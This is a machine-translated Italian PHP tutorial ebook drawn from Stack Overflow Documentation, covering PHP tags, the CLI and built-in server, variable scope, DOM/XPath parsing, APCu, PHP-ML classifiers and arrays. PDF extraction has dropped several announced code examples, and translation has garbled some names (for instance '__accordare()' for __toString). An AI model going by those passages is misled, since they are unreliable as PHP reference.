PHP It PDF
PHP It PDF
#php
Sommario
Di 1
Osservazioni 2
Versioni 3
PHP 7.x 3
PHP 5.x 3
PHP 4.x 3
Versioni legacy 4
Examples 4
Ciao mondo! 6
CLI PHP 7
Attivazione 8
Produzione 8
Ingresso 9
Esempio di utilizzo 9
Configurazione 10
logs 10
Tag PHP 10
Tag standard 10
Tag eco 10
Tag brevi 10
Tag ASP 11
introduzione 12
Examples 12
Variabili globali definite dall'utente 12
Variabili superglobal 13
Examples 15
Utilizzando XPath 15
SimpleXML 15
Presentazione 15
Capitolo 4: APCu 18
introduzione 18
Examples 18
Informazione di negozio 18
Osservazioni 20
Examples 20
k-Nearest Neighbours 21
Classificatore NaiveBayes 21
Caso pratico 22
Regressione 22
Clustering 24
k-means 24
DBSCAN 24
Caso pratico 25
Capitolo 6: Array 26
introduzione 26
Sintassi 26
Parametri 26
Osservazioni 26
Guarda anche 26
Examples 26
Sintassi 36
Osservazioni 36
Examples 36
Usando each 38
Usando il next 39
Usando foreach 39
Ciclo diretto 39
Concorrenza 40
introduzione 42
Examples 42
Autenticato semplice 42
introduzione 43
Sintassi 43
Parametri 43
Osservazioni 45
Examples 45
bcsub vs float-float 45
Usando bcmath per leggere / scrivere un binario lungo sul sistema a 32 bit 46
introduzione 48
Sintassi 48
Parametri 48
Osservazioni 49
Examples 49
Impostazione di un cookie 49
Recupero di un cookie 49
Modifica di un cookie 50
Rimozione di un cookie 50
Capitolo 11: Buffering di uscita 52
Parametri 52
Examples 52
Utilizzo del buffer di output per archiviare i contenuti in un file, utile per report, fat 55
Sintassi 58
Osservazioni 58
Examples 58
Examples 62
introduzione 68
Sintassi 68
Osservazioni 68
Classi e componenti dell'interfaccia 68
Examples 69
interfacce 69
introduzione 69
Realizzazione 69
Eredità 70
Esempi 71
Costanti di classe 72
Classi astratte 76
Nota importante 78
Namespacing e Autoloading 79
Associazione dinamica 80
Pubblico 81
protetta 82
Privato 83
Il singleton 88
Caricamento automatico 89
Classi anonime 90
Costruttore 92
introduzione 94
Examples 94
Utilizzo di parse_url () 94
Usare explode () 95
Utilizzo di basename () 96
Examples 97
Examples 99
Osservazioni 106
Examples 106
Examples 107
Examples 109
Osservazioni 111
Uscite 112
versioning 112
Examples 112
introduzione 114
Osservazioni 114
Examples 114
Examples 116
Sintassi 117
Osservazioni 117
Examples 117
Osservazioni 123
Examples 123
separatori 125
Examples 127
Osservazioni 128
Examples 128
crittografia 128
decrittazione 128
Examples 132
getTimestamp 132
impostare la data 132
Formato 133
uso 134
Procedurale 134
Crea una versione immutabile di DateTime da Mutable precedente a PHP 5.6 134
Examples 136
phpinfo () 137
avvertimento 137
introduzione 137
Esempio 138
Xdebug 138
phpversion () 138
introduzione 138
Esempio 139
Sintassi 140
Osservazioni 140
Examples 140
parametri 145
Examples 147
introduzione 151
Sintassi 151
Osservazioni 151
Examples 151
Osservazioni 159
Examples 159
Creare un'immagine 159
Examples 165
introduzione 168
Osservazioni 168
Examples 168
var_dump() - var_dump() informazioni di debug leggibili dal punto di vista del contenuto d 171
Emetti una matrice multidimensionale con indice e valore e stampa nella tabella 175
Examples 177
Examples 179
array_reduce 181
Sintassi 185
Parametri 185
Osservazioni 185
Examples 185
introduzione 190
Sintassi 190
Parametri 190
Examples 190
Examples 202
Sintassi 205
Examples 205
introduzione 210
Sintassi 210
Osservazioni 210
Examples 211
Determina se un hash della password esistente può essere aggiornato ad un algoritmo più fo 211
Examples 215
Sintassi 220
Parametri 220
Osservazioni 220
Examples 221
CSV IO 222
Riduci al minimo l'utilizzo della memoria quando lavori con file di grandi dimensioni 226
Lettura 228
scrittura 229
Examples 231
finalmente 232
throwable 233
Sintassi 235
Parametri 235
Osservazioni 235
Examples 235
Examples 238
Primi passi 238
Examples 240
introduzione 245
Osservazioni 245
Examples 245
introduzione 248
Examples 248
Osservazioni 252
Examples 252
Post-Installazione 253
Examples 257
Parametri 259
Osservazioni 259
Examples 260
Content-Transfer-codifiche 265
introduzione 269
Sintassi 269
Parametri 269
Osservazioni 270
Examples 270
argomenti 273
JSON_FORCE_OBJECT 274
JSON_NUMERIC_CHECK 275
JSON_PRETTY_PRINT 275
JSON_UNESCAPED_SLASHES 275
JSON_UNESCAPED_UNICODE 275
JSON_PARTIAL_OUTPUT_ON_ERROR 276
JSON_PRESERVE_ZERO_FRACTION 276
JSON_UNESCAPED_LINE_TERMINATORS 276
json_last_error_msg 277
json_last_error 278
Produzione: 280
Sintassi 282
Examples 282
Capitolo 56: le righe interessate da php mysqli restituiscono 0 quando dovrebbe restituire 287
introduzione 287
Examples 287
PHP $ stmt-> affected_rows restituisce 0 in modo intermittente quando dovrebbe restituire 287
Examples 288
Sintassi 293
Examples 293
introduzione 295
Sintassi 295
Osservazioni 295
Examples 295
per 295
rompere 297
Continua 298
mentre 300
Examples 301
Examples 303
ordinare() 308
rsort () 308
asort () 308
arsort () 309
ksort () 309
krsort () 309
natsort () 310
natcasesort () 310
Shuffle () 311
usort () 311
uasort () 312
uksort () 312
Examples 314
__accordare() 316
__invocare() 317
__clone() 320
introduzione 321
Examples 321
Getters 322
Sintassi 324
Examples 324
Osservazioni 327
Examples 327
Iniziare 327
Examples 330
Osservazioni 332
Examples 332
Osservazioni 336
Installazione 336
Examples 336
introduzione 339
Osservazioni 339
Examples 340
Associazione 342
Uguaglianza 343
Osservazioni 355
Examples 355
substring 358
introduzione 360
Osservazioni 360
Caratteristiche 360
alternative 360
Examples 360
introduzione 370
Parametri 370
Osservazioni 370
Examples 370
costruito nel server con uno specifico script di directory e router 371
Sintassi 372
Osservazioni 372
Examples 373
collezioni 376
Esempi 376
Examples 378
Examples 383
analisi 388
http-client.php 388
test.php 390
uso 390
http-client.php 391
analisi 395
introduzione 397
Examples 397
Scopo 400
chiusure 400
Mappatura 403
filtraggio 403
introduzione 404
Examples 404
introduzione 407
Sintassi 407
Parametri 407
Osservazioni 407
Examples 408
Installazione 413
localmente 413
introduzione 414
Examples 414
Sintassi 415
Osservazioni 415
Examples 415
Array 417
funzioni 418
Examples 420
introduzione 425
Examples 425
Sintassi 426
Parametri 426
Osservazioni 426
Examples 427
Sintassi 432
Osservazioni 432
Examples 432
Sintassi 434
Examples 434
Sintassi 435
Osservazioni 435
Examples 435
Avvertimento: 436
introduzione 440
Osservazioni 440
Examples 440
Problema 441
Soluzione 442
Problema 444
Soluzione 444
Avvisi) 446
Problema 446
Soluzione 447
Examples 451
Sintassi 452
Osservazioni 452
Examples 452
Sintassi 455
Parametri 455
Osservazioni 455
Examples 457
Classmaps 458
Examples 460
Examples 465
abbreviazioni 467
Pulire 467
Examples 468
SplFixedArray 468
Examples 473
mentre 473
vai a 474
dichiarare 474
se altro 474
richiedere 475
includere 475
ritorno 476
per 477
Se 478
interruttore 478
Examples 480
Convertire i caratteri Unicode nel formato "\ uxxxx" usando PHP 480
Uscita : 480
Conversione di caratteri Unicode nel loro valore numerico e / o entità HTML usando PHP 480
Uscita : 482
Sintassi 483
Osservazioni 483
Examples 483
iteratori 488
generatori 489
Examples 492
Interi 492
stringhe 493
heredoc 494
Nowdoc 494
booleano 494
Galleggiante 496
avvertimento 496
callable 497
Nullo 497
risorse 499
Examples 501
Examples 509
Crea una stringa di query con codifica URL da una matrice 510
Examples 512
Osservazioni 513
Examples 513
Ingresso 513
Produzione 513
Examples 516
Examples 518
sqlsrv_fetch_array () 520
sqlsrv_fetch_object () 520
sqlsrv_fetch () 520
Sintassi 522
Parametri 522
Examples 522
Invio di dati multidimensionali e più file con CurlFile in una sola richiesta 526
Sintassi 531
Osservazioni 531
Examples 532
Accesso a una variabile in modo dinamico per nome (variabili variabili) 532
Nullo 534
booleano 534
Galleggiante 535
schieramento 535
Stringa 536
Oggetto 536
Risorsa 536
introduzione 543
Examples 543
introduzione 546
$GLOBALS 547
$_SERVER 548
$_GET 550
$_POST 550
$_FILES 551
$_COOKIE 553
$_SESSION 553
$_REQUEST 554
$_ENV 554
introduzione 556
Examples 556
Examples 558
Examples 565
It is an unofficial and free PHP ebook created for educational purposes. All the content is extracted
from Stack Overflow Documentation, which is written by many hardworking individuals at Stack
Overflow. It is neither affiliated with Stack Overflow nor official PHP.
The content is released under Creative Commons BY-SA, and the list of contributors to each
chapter are provided in the credits section at the end of this book. Images may be copyright of
their respective owners unless otherwise specified. All trademarks and registered trademarks are
the property of their respective company owners.
Use the content presented in this book at your own risk; it is not guaranteed to be correct nor
accurate, please send your feedback and corrections to [email protected]
https://riptutorial.com/it/home 1
Capitolo 1: Iniziare con PHP
Osservazioni
Open-Source
Versioni supportate
Ogni ramo di rilascio di PHP è completamente supportato per due anni dalla sua versione stabile
iniziale. Dopo questo periodo biennale di supporto attivo, ciascun ramo viene quindi supportato
per un ulteriore anno solo per problemi di sicurezza critici. I rilasci durante questo periodo
vengono effettuati in base alle necessità: potrebbero esserci più rilasci di punti o nessuno, a
seconda del numero di rapporti.
Una volta completati i tre anni di supporto, la filiale raggiunge la fine della sua vita e non è più
supportata.
Issue Tracker
Mailing list
Le discussioni sullo sviluppo e l'utilizzo di PHP sono contenute nelle mailing list di PHP .
Documentazione ufficiale
https://riptutorial.com/it/home 2
Si prega di aiutare a mantenere o tradurre la documentazione ufficiale di PHP .
Potresti usare l'editor su edit.php.net . Dai un'occhiata alla nostra guida per i contributori .
Versioni
PHP 7.x
PHP 5.x
PHP 4.x
https://riptutorial.com/it/home 3
Versioni legacy
2.0 1997/11/01
1.0 1995/06/08
Examples
Output HTML dal server web
PHP può essere usato per aggiungere contenuti a file HTML. Mentre l'HTML viene elaborato
direttamente da un browser Web, gli script PHP vengono eseguiti da un server Web e l'HTML
risultante viene inviato al browser.
Il seguente codice HTML contiene un'istruzione PHP che aggiungerà Hello World! all'output:
<!DOCTYPE html>
<html>
<head>
<title>PHP!</title>
</head>
<body>
<p><?php echo "Hello world!"; ?></p>
</body>
</html>
Quando questo viene salvato come script PHP ed eseguito da un server web, il seguente codice
HTML verrà inviato al browser dell'utente:
<!DOCTYPE html>
<html>
<head>
<title>PHP!</title>
</head>
<body>
<p>Hello world!</p>
</body>
</html>
echo ha anche una sintassi di scelta rapida, che ti consente di stampare immediatamente un
valore. Prima di PHP 5.4.0, questa breve sintassi funziona solo con l'impostazione di
configurazione short_open_tag abilitata.
https://riptutorial.com/it/home 4
<p><?= "Hello world!" ?></p>
Nelle applicazioni del mondo reale, tutti i dati inviati da PHP a una pagina HTML devono essere
opportunamente scappati per evitare attacchi XSS ( Cross-site scripting ) o danneggiamento del
testo.
Vedi anche: Stringhe e PSR-1 , che descrive le migliori pratiche, incluso l'uso corretto dei tag brevi
( <?= ... ?> ).
In alcuni casi, quando si lavora con un server Web, potrebbe essere necessario ignorare il tipo di
contenuto predefinito del server Web. Potrebbero esserci casi in cui è necessario inviare dati
come plain text , JSON o XML , ad esempio.
La funzione header() può inviare un'intestazione HTTP non elaborata. È possibile aggiungere
l'intestazione Content-Type per notificare al browser il contenuto che stiamo inviando.
header("Content-Type: text/plain");
echo "Hello World";
Ciao mondo
header("Content-Type: application/json");
Si noti che la funzione header() deve essere chiamata prima che PHP produca qualsiasi output,
oppure il server Web avrà già inviato le intestazioni per la risposta. Quindi, considera il seguente
codice:
https://riptutorial.com/it/home 5
echo "Hello";
Quando si usa header() , il suo output deve essere il primo byte che viene inviato dal server. Per
questo motivo è importante non avere linee o spazi vuoti all'inizio del file prima del tag di apertura
PHP <?php . Per lo stesso motivo, è considerato best practice (vedere PSR-2 ) omettere il tag di
chiusura PHP ?> Dai file che contengono solo PHP e da blocchi di codice PHP alla fine di un file.
Visualizza la sezione del buffer di output per sapere come "catturare" il tuo contenuto in una
variabile da pubblicare successivamente, ad esempio, dopo aver emesso le intestazioni.
Ciao mondo!
Sia l' echo che la print sono costrutti linguistici, non funzioni. Ciò significa che non richiedono
parentesi attorno ai loro argomenti. Per coerenza cosmetica con le funzioni, è possibile includere
le parentesi. Numerosi esempi di utilizzo di echo e print sono disponibili altrove .
Sono disponibili anche printf stile C e relative funzioni, come nell'esempio seguente:
Vedi Uscita del valore di una variabile per un'introduzione completa sull'output di variabili in PHP.
https://riptutorial.com/it/home 6
Proprio come la maggior parte degli altri linguaggi in stile C, ogni istruzione termina con un punto
e virgola. Inoltre, un tag di chiusura viene utilizzato per terminare l'ultima riga di codice del blocco
PHP.
Se l'ultima riga del codice PHP termina con un punto e virgola, il tag di chiusura è facoltativo se
non c'è alcun codice che segue quella riga di codice finale. Ad esempio, possiamo escludere il tag
di chiusura dopo echo "No error"; nel seguente esempio:
<?php echo "No error"; // no closing tag is needed as long as there is no code below
Tuttavia, se c'è un altro codice che segue il tuo blocco di codice PHP, il tag di chiusura non è più
opzionale:
<?php echo "This will cause an error if you leave out the closing tag"; ?>
<html>
<body>
</body>
</html>
Possiamo anche lasciare il punto e virgola dell'ultima istruzione in un blocco di codice PHP se
quel blocco di codice ha un tag di chiusura:
In generale, si consiglia di utilizzare sempre un punto e virgola e utilizzare un tag di chiusura per
ogni blocco di codice PHP, tranne l'ultimo blocco di codice PHP, se nessun altro codice segue
quel blocco di codice PHP.
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon and a closing tag because more code follows";
?>
<p>Some HTML code goes here</p>
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon and a closing tag because more code follows";
?>
<p>Some HTML code goes here</p>
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon but leave out the closing tag";
CLI PHP
https://riptutorial.com/it/home 7
PHP può anche essere eseguito direttamente dalla riga di comando utilizzando la CLI (Command
Line Interface).
La CLI è fondamentalmente la stessa di PHP dei server Web, tranne alcune differenze in termini
di input e output standard.
Attivazione
La CLI di PHP consente quattro modi per eseguire il codice PHP:
1. Input standard. Esegui il comando php senza alcun argomento, ma inserisci il codice PHP
all'interno di esso:
2. Nome file come argomento. Esegui il comando php con il nome di un file sorgente PHP come
primo argomento:
php hello_world.php
3. Codice come argomento Utilizzare l'opzione -r nel comando php , seguito dal codice da
eseguire. I <?php open non sono richiesti, poiché tutto nell'argomento è considerato come
codice PHP:
4. Shell interattiva Utilizzare l'opzione -a nel comando php per avviare una shell interattiva.
Quindi, digita (o incolla) il codice PHP e premi Invio :
$ php -a
Interactive mode enabled
php > echo "Hello world!";
Hello world!
Produzione
Tutte le funzioni oi controlli che generano l'output HTML nel server Web PHP possono essere
utilizzati per produrre l'output nel flusso stdout (descrittore di file 1) e tutte le azioni che generano
l'output nei log degli errori nel server Web PHP genereranno l'output nel flusso stderr (file
descrittore 2).
Example.php
<?php
echo "Stdout 1\n";
trigger_error("Stderr 2\n");
print_r("Stdout 3\n");
fwrite(STDERR, "Stderr 4\n");
https://riptutorial.com/it/home 8
throw new RuntimeException("Stderr 5\n");
?>
Stdout 6
STDOUT
Stdout 1
Stdout 3
STDERR
Stderr 4
PHP Notice: Stderr 2
in /Example.php on line 3
PHP Fatal error: Uncaught RuntimeException: Stderr 5
in /Example.php:6
Stack trace:
#0 {main}
thrown in /Example.php on line 6
Ingresso
Vedi: Command Line Interface (CLI)
PHP 5.4+ viene fornito con un server di sviluppo integrato. Può essere utilizzato per eseguire
applicazioni senza dover installare un server HTTP di produzione come nginx o Apache. Il server
integrato è progettato solo per essere utilizzato a fini di sviluppo e test.
php -S <host/ip>:<port>
Esempio di utilizzo
1. Creare un file index.php contenente:
<?php
echo "Hello World from built-in PHP server";
2. Esegui il comando php -S localhost:8080 dalla riga di comando. Non includere http:// . Ciò
avvierà un server Web in ascolto sulla porta 8080 utilizzando la directory corrente in cui ci si
trova come root del documento.
https://riptutorial.com/it/home 9
3. Apri il browser e vai a http://localhost:8080 . Dovresti vedere la tua pagina "Hello World".
Configurazione
Per sovrascrivere la root del documento predefinita (cioè la directory corrente), usa il flag -t :
Ad esempio se hai una directory public/ nel tuo progetto puoi servire il tuo progetto da quella
directory usando php -S localhost:8080 -t public/ .
logs
Ogni volta che viene effettuata una richiesta dal server di sviluppo, una voce di registro come
quella sottostante viene scritta sulla riga di comando.
Tag PHP
Esistono tre tipi di tag per indicare i blocchi PHP in un file. Il parser PHP sta cercando i tag di
apertura e (se presenti) di chiusura per delimitare il codice da interpretare.
Tag standard
Questi tag sono il metodo standard per incorporare il codice PHP in un file.
<?php
echo "Hello World";
?>
Tag eco
Questi tag sono disponibili in tutte le versioni di PHP e poiché PHP 5.4 è sempre abilitato. Nelle
versioni precedenti, i tag echo potevano essere abilitati solo in combinazione con tag brevi.
Tag brevi
https://riptutorial.com/it/home 10
Puoi disabilitare o abilitare questi tag con l'opzione short_open_tag .
<?
echo "Hello World";
?>
Tag brevi:
Tag ASP
Abilitando l'opzione asp_tags , è possibile utilizzare tag in stile ASP.
<%
echo "Hello World";
%>
Queste sono una stranezza storica e non dovrebbero mai essere usate. Sono stati rimossi in PHP
7.0.
https://riptutorial.com/it/home 11
Capitolo 2: Ambito variabile
introduzione
Lo scope variabile si riferisce alle regioni del codice a cui è possibile accedere a una variabile.
Questo è anche indicato come visibilità . In PHP i blocchi di ambito sono definiti da funzioni, classi
e un ambito globale disponibile in tutta l'applicazione.
Examples
Variabili globali definite dall'utente
L'ambito al di fuori di qualsiasi funzione o classe è l'ambito globale. Quando uno script PHP ne
include un altro (usando include o require ) l'ambito rimane lo stesso. Se uno script è incluso al di
fuori di qualsiasi funzione o classe, le sue variabili globali sono incluse nello stesso ambito
globale, ma se uno script è incluso all'interno di una funzione, le variabili nello script incluso sono
nell'ambito della funzione.
Nell'ambito di una funzione o di un metodo di classe, la parola chiave global può essere utilizzata
per creare una variabile globale definita dall'utente di accesso.
<?php
$amount_of_log_calls = 0;
function log_message($message) {
// Accessing global variable from function scope
// requires this explicit statement
global $amount_of_log_calls;
echo $message;
}
Un secondo modo per accedere alle variabili dall'ambito globale consiste nell'utilizzare la speciale
matrice $ GLOBALS definita da PHP.
L'array $ GLOBALS è un array associativo con il nome della variabile globale come chiave e il
https://riptutorial.com/it/home 12
contenuto di tale variabile come valore dell'elemento dell'array. Nota come $ GLOBALS esiste in
qualsiasi ambito, questo perché $ GLOBALS è un superglobale.
function log_message($message) {
// Access the global $amount_of_log_calls variable via the
// $GLOBALS array. No need for 'global $GLOBALS;', since it
// is a superglobal variable.
$GLOBALS['amount_of_log_calls'] += 1;
echo $messsage;
}
Si potrebbe chiedere, perché usare l'array $ GLOBALS quando la parola chiave global può essere
utilizzata anche per ottenere il valore di una variabile globale? Il motivo principale è l'utilizzo della
parola chiave global che porterà la variabile in ambito. Quindi non è possibile riutilizzare lo stesso
nome di variabile nell'ambito locale.
Variabili superglobal
Le variabili superglobal sono definite da PHP e possono sempre essere utilizzate da qualsiasi
luogo senza la parola chiave global .
<?php
return $default;
}
// retrieves $_POST['username']
echo getPostValue('username');
Le proprietà delle classi statiche definite con la visibilità public sono funzionalmente equivalenti
alle variabili globali. È possibile accedervi da qualsiasi posizione definita dalla classe.
class SomeClass {
public static int $counter = 0;
}
https://riptutorial.com/it/home 13
Le funzioni possono anche definire variabili statiche all'interno del proprio ambito. Queste variabili
statiche persistono attraverso chiamate a funzioni multiple, diversamente dalle variabili regolari
definite nell'ambito di una funzione. Questo può essere un modo molto facile e semplice per
implementare il modello di progettazione Singleton:
class Singleton {
public static function getInstance() {
// Static variable $instance is not deleted when the function ends
static $instance;
// Second call to this function will not get into the if-statement,
// Because an instance of Singleton is now stored in the $instance
// variable and is persisted through multiple calls
if (!$instance) {
// First call to this function will reach this line,
// because the $instance has only been declared, not initialized
$instance = new Singleton();
}
return $instance;
}
}
$instance1 = Singleton::getInstance();
$instance2 = Singleton::getInstance();
// Comparing objects with the '===' operator checks whether they are
// the same instance. Will print 'true', because the static $instance
// variable in the getInstance() method is persisted through multiple calls
var_dump($instance1 === $instance2);
https://riptutorial.com/it/home 14
Capitolo 3: Analisi HTML
Examples
Analisi dell'HTML da una stringa
PHP implementa un parser compatibile con DOM 2 , che consente di lavorare con HTML usando
metodi familiari come getElementById() o appendChild() .
echo $doc->getElementById("text")->textContent;
Uscite:
Hello, World!
Nota che PHP emetterà avvisi su qualsiasi problema con l'HTML, specialmente se stai importando
un frammento di documento. Per evitare questi avvertimenti, dire alla libreria DOM (libxml) di
gestire i propri errori chiamando libxml_use_internal_errors() prima di importare il vostro HTML. È
quindi possibile utilizzare libxml_get_errors() per gestire gli errori, se necessario.
Utilizzando XPath
echo $span->textContent;
Uscite:
Hello, World!
SimpleXML
Presentazione
https://riptutorial.com/it/home 15
• SimpleXML è una libreria PHP che fornisce un modo semplice per lavorare con documenti
XML (in particolare la lettura e l'iterazione attraverso dati XML).
// You can load a local file path or a valid URL (if allow_url_fopen is set to "On" in php.ini
// $isPathToFile: it informs the constructor that the first argument represents the path to a
file, rather than a string that contains 1the XML data itself.
https://riptutorial.com/it/home 16
echo $book->author;
echo $book->publisher;
}
https://riptutorial.com/it/home 17
Capitolo 4: APCu
introduzione
APCu è un archivio chiavi-valore di memoria condivisa per PHP. La memoria è condivisa tra i
processi PHP-FPM dello stesso pool. I dati memorizzati persistono tra le richieste.
Examples
Archiviazione e recupero semplici
apcu_store può essere usato per memorizzare, apcu_fetch per recuperare i valori:
$key = 'Hello';
$value = 'World';
apcu_store($key, $value);
print(apcu_fetch('Hello')); // 'World'
Informazione di negozio
print_r(apcu_cache_info());
Nota che invocare apcu_cache_info() senza limiti restituirà i dati completi attualmente
memorizzati.
Per ottenere solo i metadati, utilizzare apcu_cache_info(true) .
Per ottenere informazioni su determinate voci della cache, utilizzare meglio
APCUIterator .
L'iteratore può essere inizializzato con un'espressione regolare facoltativa per selezionare solo
voci con chiavi corrispondenti:
Le informazioni su una singola voce della cache possono essere ottenute tramite:
https://riptutorial.com/it/home 18
$key = '…';
$regex = '(^' . preg_quote($key) . '$)';
print_r((new APCUIterator($regex))->current());
https://riptutorial.com/it/home 19
Capitolo 5: Apprendimento automatico
Osservazioni
L'argomento utilizza PHP-ML per tutti gli algoritmi di apprendimento automatico. L'installazione
della libreria può essere eseguita utilizzando
Inoltre, vale la pena notare che gli esempi forniti sono dati molto piccoli, solo a scopo dimostrativo.
Il set di dati effettivo dovrebbe essere più completo di quello.
Examples
Classificazione usando PHP-ML
Il train e il metodo di predict sono gli stessi per tutti i classificatori. L'unica differenza sarebbe
nell'algoritmo sottostante utilizzato.
// Import library
use Phpml\Classification\SVC;
use Phpml\SupportVectorMachine\Kernel;
https://riptutorial.com/it/home 20
// Initialize the classifier
$classifier = new SVC(Kernel::LINEAR, $cost = 1000);
// Train the classifier
$classifier->train($samples, $labels);
Il codice è abbastanza semplice. $cost utilizzato sopra è una misura di quanto vogliamo evitare di
classificare erroneamente ogni esempio di addestramento. Per un valore inferiore di $cost potresti
ottenere esempi errati. Di default è impostato su 1.0
Ora che abbiamo addestrato il classificatore, possiamo iniziare a fare delle previsioni reali.
Considera i seguenti codici che abbiamo per le previsioni
Il classificatore nel caso precedente può prendere campioni non classificati e prevedere le
etichette. predict metodo può richiedere un singolo campione e una serie di campioni.
k-Nearest Neighbours
Il classfier per questo algoritmo accetta due parametri e può essere inizializzato come
$neighbor_num è il numero di vicini più vicini da scansionare nell'algoritmo knn mentre il secondo
parametro è metrica di distanza che, di default, nel primo caso sarebbe Euclidean . Maggiori
informazioni su Minkowski possono essere trovate qui .
// Training data
$samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]];
$labels = ['a', 'a', 'a', 'b', 'b', 'b'];
// Initialize classifier
$classifier = new KNearestNeighbors();
// Train classifier
$classifier->train($samples, $labels);
// Make predictions
$classifier->predict([3, 2]); // return 'b'
$classifier->predict([[3, 2], [1, 5]]); // return ['b', 'a']
Classificatore NaiveBayes
NaiveBayes Classifier si basa sul Bayes' theorem e non richiede alcun parametro nel costruttore.
https://riptutorial.com/it/home 21
Il codice seguente dimostra un'implementazione di previsione semplice
// Training data
$samples = [[5, 1, 1], [1, 5, 1], [1, 1, 5]];
$labels = ['a', 'b', 'c'];
// Initialize classifier
$classifier = new NaiveBayes();
// Train classifier
$classifier->train($samples, $labels);
// Make predictions
$classifier->predict([3, 1, 1]); // return 'a'
$classifier->predict([[3, 1, 1], [1, 4, 1]); // return ['a', 'b']
Caso pratico
Fino ad ora abbiamo usato solo matrici di interi in tutti i casi, ma non è così nella vita reale. Quindi
proviamo a descrivere una situazione pratica su come utilizzare i classificatori.
Regressione
// Import library
https://riptutorial.com/it/home 22
use Phpml\Regression\SVR;
use Phpml\SupportVectorMachine\Kernel;
// Training data
$samples = [[60], [61], [62], [63], [65]];
$targets = [3.1, 3.6, 3.8, 4, 4.1];
Nella regressione gli $targets non sono etichette di classe rispetto alla classificazione. Questo è
uno dei fattori di differenziazione per i due. Dopo aver addestrato il nostro modello con i dati,
possiamo iniziare con le previsioni effettive
// Training data
$samples = [[60], [61], [62], [63], [65]];
$targets = [3.1, 3.6, 3.8, 4, 4.1];
PHP-ML offre anche l'opzione della Multiple Linear Regression . Un codice di esempio per lo
stesso può essere il seguente
$samples = [[73676, 1996], [77006, 1998], [10565, 2000], [146088, 1995], [15000, 2001],
[65940, 2000], [9300, 2000], [93739, 1996], [153260, 1994], [17764, 2002], [57000, 1998],
[15000, 2000]];
$targets = [2000, 2750, 15500, 960, 4400, 8800, 7100, 2550, 1025, 5900, 4600, 4400];
Multiple Linear Regression è particolarmente utile quando più fattori o tratti identificano il risultato.
Caso pratico
https://riptutorial.com/it/home 23
Ora prendiamo una domanda di regressione nello scenario della vita reale.
Clustering
• k-means
• DBSCAN
k-means
k-Means separa i dati in n gruppi di uguale varianza. Ciò significa che dobbiamo passare un
numero n che sarebbe il numero di cluster di cui abbiamo bisogno nella nostra soluzione. Il
seguente codice contribuirà a portare più chiarezza
Notare che l'output contiene 3 matrici perché questo era il valore di n nel costruttore di KMeans . Può
anche esserci un secondo parametro opzionale nel costruttore che sarebbe il initialization
method . Ad esempio, considera
https://riptutorial.com/it/home 24
DBSCAN
A differenza dei KMeans , DBSCAN è un algoritmo di clustering basato sulla densità, il che significa che
non KMeans n che determinerebbe il numero di cluster che vogliamo nel nostro risultato. D'altra
parte questo richiede due parametri per funzionare
Il codice è praticamente auto esplicativo. Una delle principali differenze è che non c'è modo di
conoscere il numero di elementi nell'array di output rispetto ai KMean.
Caso pratico
Diamo ora un'occhiata all'utilizzo del clustering nello scenario della vita reale
https://riptutorial.com/it/home 25
Capitolo 6: Array
introduzione
Una matrice è una struttura di dati che memorizza un numero arbitrario di valori in un singolo
valore. Una matrice in PHP è in realtà una mappa ordinata, in cui la mappa è un tipo che associa
valori a chiavi.
Sintassi
• $ array = array ('Value1', 'Value2', 'Value3'); // Chiavi predefinite su 0, 1, 2, ...,
• $ array = array ('Value1', 'Value2',); // Virgola finale opzionale
• $ array = array ('key1' => 'Value1', 'key2' => 'Value2',); // Chiavi esplicite
• $ array = array ('key1' => 'Value1', 'Value2',); // Array (['key1'] => Valore1 [1] => 'Valore2')
• $ array = ['key1' => 'Value1', 'key2' => 'Value2',]; // PHP 5.4+ stenografia
• $ array [] = 'ValueX'; // Aggiungi 'ValueX' alla fine dell'array
• $ array ['keyX'] = 'ValueX'; // Assegna "valoreX" al tasto "chiaveX"
• $ array + = ['keyX' => 'valoreX', 'chiaveY' => 'valoreY']; // Aggiunta / Sovrascrivi elementi su
un array esistente
Parametri
Parametro Dettaglio
Per ogni key c'è un valore corrispondente ( null altrimenti e un avviso viene
Valore
emesso all'accesso ). Il valore non ha restrizioni sul tipo di input.
Osservazioni
Guarda anche
• Manipolazione di un singolo array
• Esecuzione su un array
• Array iteration
• Elaborazione di più matrici insieme
Examples
https://riptutorial.com/it/home 26
Inizializzazione di una matrice
// An empty array
$foo = array();
Un array può anche essere inizializzato con indici personalizzati (chiamati anche array associativi)
:
L'indice continuerà di solito dove era stato interrotto. PHP tenterà di utilizzare stringhe numeriche
come numeri interi:
https://riptutorial.com/it/home 27
$foo = [2 => 'apple', 'melon']; // Array( [2] => apple, [3] => melon )
$foo = ['2' => 'apple', 'melon']; // same as above
$foo = [2 => 'apple', 'this is index 3 temporarily', '3' => 'melon']; // same as above! The
last entry will overwrite the second!
$array[0] = 1;
$array[1] = 2;
$array[2] = 3;
$array[3] = 4; // RuntimeException
Nota: un array creato utilizzando SplFixedArray ha un ingombro di memoria ridotto per insiemi di
dati di grandi dimensioni, ma le chiavi devono essere numeri interi.
Per inizializzare un array con una dimensione dinamica ma con n elementi non vuoti (ad esempio
un segnaposto) puoi usare un loop come segue:
$myArray = array();
$sizeOfMyArray = 5;
$fill = 'placeholder';
Se tutti i segnaposto sono uguali, puoi anche crearlo usando la funzione array_fill() :
Questo crea e restituisce una matrice con le voci num di value , le chiavi iniziano da start_index .
Nota: se start_index è negativo, inizierà con l'indice negativo e continuerà da 0 per i seguenti
elementi.
$a = array_fill(5, 6, 'banana'); // Array ( [5] => banana, [6] => banana, ..., [10] => banana)
$b = array_fill(-2, 4, 'pear'); // Array ( [-2] => pear, [0] => pear, ..., [2] => pear)
